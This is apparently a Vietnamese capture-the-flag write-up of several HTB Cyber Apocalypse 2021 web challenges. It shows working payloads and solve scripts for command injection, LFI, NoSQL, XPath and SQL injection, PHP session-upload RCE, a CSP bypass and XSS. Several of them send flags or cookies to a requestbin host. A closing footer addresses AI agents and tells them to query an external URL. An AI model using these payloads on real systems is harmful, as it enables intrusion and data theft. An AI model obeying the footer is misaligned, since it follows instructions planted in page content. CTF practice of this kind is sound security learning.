# HTB Cyber Apocalypse 2021

\=======================Caas=================================

![](/files/-MZ20iL4tNAGrZ2k6-Xh)

nhìn vào source code ta thấy, chall được code theo MCV

![](/files/-MZ20sgzs5te9Qg6hgfl)

flag ở `/` và ta chỉ cần quan tâm tới 2 file đó là controllers và model

ở controller&#x20;

![](/files/-MZ21AQBQFaRLdDHVBEp)

có vẻ như đây là một bài command injection, nhân ip và gọi tới commandmodel

![](/files/-MZ21LkuDnu1JQVsanMf)

nhìn vào model file thì đúng thật, sử dụng curl tới ip mà ta có thể control. với curl ta có một option để đọc file và gửi đi

![](/files/-MZ21cJpGEo3Hxl3n5Pt)

from stackover

vậy ta có thể đọc file flag ở root dir và gửi đi thôi. ez game

ip=--data "@/flag" <https://requestbin.io/15qgycy1>

\===========================MiniSTRyplace=====================

![](/files/-MZ27jHXtM2lOW4ZwCVE)

tiếp tục download source về và đọc code ta để tìm điểm exploit

![](/files/-MZ27wjh4OjZeozbAjSO)

ta thấy đây là một bài lfi đơn giản, chỉ filter `../` nhưng không đệ quy nên ta có thể sử dụng `....//` để bypass

flag ở root dir nên chỉ cần sử dụng payload sau để có flag

![](/files/-MZ28T-JQOSDGkcPKQZK)

\=========================Wild Goose Hunt==========================

nhìn vào source code ta thấy,

![](/files/-MZ2AdEYlS9AJOhak45v)

có vẻ đây là một bài sqli, và mình không thấy flag ở đâu trong source nên mình đoán flag ở trong db hoặc có thể là password, app sử dụng mongo db

![](/files/-MZ2Ar6-SjjHYov3xVj6)

với kinh nghiệm của mình thì đây có thể bị nosqli

lets try

![](/files/-MZ2BIDZ6jsxkSQOKKfF)

`$ne` nghĩa là not equal, vậy tới đây mình sử dụng regex để brute password

![](/files/-MZ2Bcc61cmO1ck2UNU5)

tới đây có thể viết 1 đoạn code ngắn để brute những chữ còn lại trong flag

ref: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection>

\=============================E.Tree===============================

bài này chỉ cho mỗi file xml

![](/files/-MZ2CCg01pnsksthxLaF)

nhằm nói cho chúng ta biết cấu trúc của thằng này

![](/files/-MZ2CM1wNt-4WR_odxXJ)

nothing! hmmm

vì không có source nên mình phải fuzz để tìm ra thứ có ích cho mình

![](/files/-MZ2C_kfRCrx7Td0CTBd)

got it,&#x20;

![](/files/-MZ2Ck_685QZTrDyDYdr)

mình thậm chí có thể đọc được code của hàm search luôn, nó sử dụng thư viện `lxml` để truy vấn xpath, vậy bài này có thể là xpath injection

tiếp tục fuzz kết hợp search gg về xpath injection mình tìm được một số payload

![](/files/-MZ2DOCDvd5Wgaqe5ler)

khá giống với sqli

tiếp tục thử cho tới khi mình tìm được payload sau

![](/files/-MZ2DfUgZMCHP2FCZ-Uc)

ừm huh

`{"search":"John Doe' or substring(//military/district[2]//selfDestructCode,1,1)='C"}`

flag chia làm 2 phần 1 ở district\[2] và district\[3] nên ta sẽ brute như blind sqli thôi

script sovlve

```python
import requests

url = "http://206.189.121.131:30353/api/search"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "*/*", "Accept-Language": "vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://206.189.121.131:30353/", "Content-Type": "application/json", "Origin": "http://206.189.121.131:30353", "DNT": "1", "Connection": "close"}
flag="CHTB{"
flag=""
for i in range(1,30):
	print(i)
	for j in range(48,128):

		#print(chr(j))
		json={"search": f"x' or substring(//military/district[3]//selfDestructCode,{i},1)='{chr(j)}"}
		#print(json)
		r=requests.post(url, headers=headers, json=json)
		if "This millitary staff member exists" in r.text:
			flag+=chr(j)
			print("flag:"+flag)
			break
```

\========================Extortion======================

![](/files/-MZ2EJvC-nsJkBMNUbY7)

bài này thì không có source nhưng mình có thể dễ dàng fuzz ra được bài này bị gì

![](/files/-MZ2ETYRUKt6CCzXYHX6)

lfi là rõ, nhưng lfi ở đây như thế nào?

thử với `f=n3mo`

![](/files/-MZ2EdV7jcR0zMlUZmME)

ta biết được cú pháp include của chall như sau

`include("files/".$_GET['f'])`

vậy ta không thể sử dụng bất kỳ schema nào ở để để đọc source :(,

ngoài ra chall còn có một chức năng là send nhưng không biết send gì.

mình đoán ngay nếu biết send.php làm gì thì sẽ win this chall nhưng tại thời điểm đó mình không fuzz ra được send.php làm gì.

với những lfi mà không thể làm gì tiếp theo, mình mạnh dạn thử

`session upload process`

```python
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://138.68.177.159:31640/'
sess_name = '8ad468a3766fa95b2d489b7097dbbd55'

headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '<?php echo "n3mo123";?>'




def runner1(i):

    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    i=0
    while 1:
        i+=1
        if i%100==0:
            print("try[+]:"+chr(i))
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()

def runner2(i):
    filename = '../../../../../tmp/sess_' + sess_name
    
    # print filename
    while 1:
        url = '%s?f=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.text
        if c and 'n3mo123' in c:
            print(c)


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
```

![](/files/-MZ2Fn5CtrqXZHt1XFsX)

oke it work, nhưng trong khi thử cách này thì mình nhận ra chức năng của send.php, send.php nhận đầu vào của mình và lưu vào session, simple hơn so với cách trên. nên mình sẽ đi theo hướng của author trươc.

sau khi biết được chức năng của php là ghi vào session, mà session mặc định được lưu ở  `/tmp/sess_sessid`, vậy mình có write file + include? ngại gì mà không RCE?

send 2 request sau

![](/files/-MZ2GmQ9Gfiwl-sS0clM)

![](/files/-MZ2GtQ_5AaK65C1e_35)

and got RCE => done

casch2: sử dụng script trên của mình để rce

\========================The Galactic Times==========================

![](/files/-MZ2J--y3NVNapzFhebI)

bài này thì có source nên mình xác định được goal từ đầu

xss bypass csp :v

![](/files/-MZ2Japl9sszlx9S6_p5)

mình giải thích sơ về cách hoạt động của app như sau.

![](/files/-MZ2JiSHYtq6NeWFccuH)

mỗi lần mình submit feadback thì nó sẽ lưu vào db đồng thời gọi bot.

ở route list ta thấy chỉ có thể access từ local hay nói cách khác chỉ bot mới có quyền access,

![](/files/-MZ2Jx5_nWzm3sD5tXgK)

bot access `/list` tức ta phải trigger xss ở đây.

take a look to csp

![](/files/-MZ2K9TgqD2sxBTbQKJC)

\`script-src <https://cdnjs.cloudflare.com/>\`

quen quá :v

{% embed url="<https://medium.com/@bhaveshthakur2015/content-security-policy-csp-bypass-techniques-e3fa475bfe5d>" %}

sau khi chỉnh một chút để phù hợp với chall thì đây là payload cuối cùng của mình&#x20;

```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 <div ng-app ng-csp>
  {{ x = $on.curry.call().eval("fetch('/alien').then(function(response) {return response.text().then(function(text) {document.location='https://requestbin.io/1744lkl1?q='+btoa(unescape(encodeURIComponent(text.slice(0, text.length / 6))))});});") }}
 </div>
```

vì csp chặn không cho fetch ra bên ngoài, nên mình sẽ phải sử dụng document.location và hơn nữa content của file alien.html quá dài nên mình phải cắt bớt để phù hợp với độ dài ở url.

\=========================pcalc==========================

![](/files/-MZ2mmUDyajSUxjWlc6a)

với những người chơi ctf thường xuyên thì đọc đề biết ngay liên quan tới `eval`

với source được cấp

![](/files/-MZ2mxmSycCLxLpGBIkD)

mình sẽ tập trung focus chủ yếu vào đây.

thấy tối đa 100 char, đồng thời không được sử dụng `a-z'"`

đọc tới đây mình biết cách giải luôn là sử dụng `~`

![](/files/-MZ2nSFA7BA3P-fJeR2U)

![](/files/-MZ2nPrf3TnGYnVK4ATj)

call được phpinfo thì call được system? right?

![](/files/-MZ2o6rKtzEIXIeBfxGO)

không hiểu sao khi sử dụng payload này thì mình lại không work, nên mình quyết định xài no space bằng toán tử $IFS thì work

![](/files/-MZ2oHJk4gTVm8mAFLGP)

payload cuối&#x20;

`(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%84%B6%B9%AC%82%D0%D5)`

![](/files/-MZ2oQVqdC9xhDLKJfAK)

`với những bài eval vơi blacklist lỏng lẻo như thế này thì mình nghĩ sẽ có nhiều hướng, hướng tiếp theo mình gợi ý là sử dụng blacktic cộng với octa`

![](/files/-MZ2qDmX0JJ2x5msGJ00)

sử dụng blacktic kết hợp với eval để chạy thẳng bash cmd ở đây.

\=======================emoji voting==========================

những bài có source như thế này thì mình khá thích vì mình có thể biết được mình đang đối mặt với thứ gì và đồng thời biết được mục tiêu của mình

&#x20;`biết người biết ta trăm trận trăm thắng`

nhìn qua một lượt

flag ở trong table flag\_random

![](/files/-MZ2qq8FkaBaVB6tkza8)

ta có 2 query

![](/files/-MZ2r7cT0V07NrAm0nwq)

dễ thấy query thứ 2 được truyền thẳng vào mà không có bất kỳ bộ lọc nào.

nên ta có thế sqli ở getEmojis

query chỗ mình control được là ở mệnh đề order by

mình sẽ khẳng định đây là một bài blind

search một lúc thì thấy một trang như sau

{% embed url="<https://portswigger.net/support/sql-injection-in-the-query-structure>" %}

![](/files/-MZ2rmhYuN_tNr4QHIUH)

có cấu trúc rồi làm thôi.

đây là script cuối cùng của mình

```python
import requests

url = "http://188.166.156.37:32565/api/list"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Content-type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"}
flag="CHTB{order_me_this_juicy_info}"
flag=""
for i in range(20,50):
	print(i)
	for j in range(32,128):
		#print(chr(j))
		data = {"order": f"	"}
		r=requests.post(url, headers=headers, data=data)
		a=r.text
		if a.startswith('''[{"id":1'''):
			flag+=chr(j)
			print("flag:"+flag)
			print(r.text,data)
			break
```

\====================bug report=========================

![](/files/-MZ2sxea8P1GuqEh6l2G)

bài xss này gồm chủ yếu  file đó là app.py và bot.py

app.py làm nhiệm vụ nhận url của mình truyền vào và gọi tới bot.py

behavior của bot như sau

![](/files/-MZ2tN-zHphcSunJLRGe)

đầu tiên set cookie là flag và get tới localhost, sau đó mới get tới url mà mình control

vì đây là một header chromeless nên nó có thể thực thi bất kỳ js nào, nhưng vì cors nên không thể nào lấy được cookie từ trang web trước đó được request, cụ thể ở đây là localhost.

stuck một lúc thì mình nhìn lại app.py

![](/files/-MZ2tp0cLi2gfl8DQvWk)

đúng là ctf lừa nhau là chủ yếu mà

ta có thể trigger xss ở đây

![](/files/-MZ2tztKRDeZ9vYKibPq)

đến đây thì ez rồi, flag đc set ở cookie local, mà đồng thời ta có thể triger xss ở local => get flag so simple

```markup
http://127.0.0.1:1337/<script>fetch("https://requestbin.io/15qgycy1/"+document.cookie,{mode:'no-cors'})</script>
```

![](/files/-MZ2vplKhF4sLyn1LK8_)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nemo123.gitbook.io/ctf/master.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
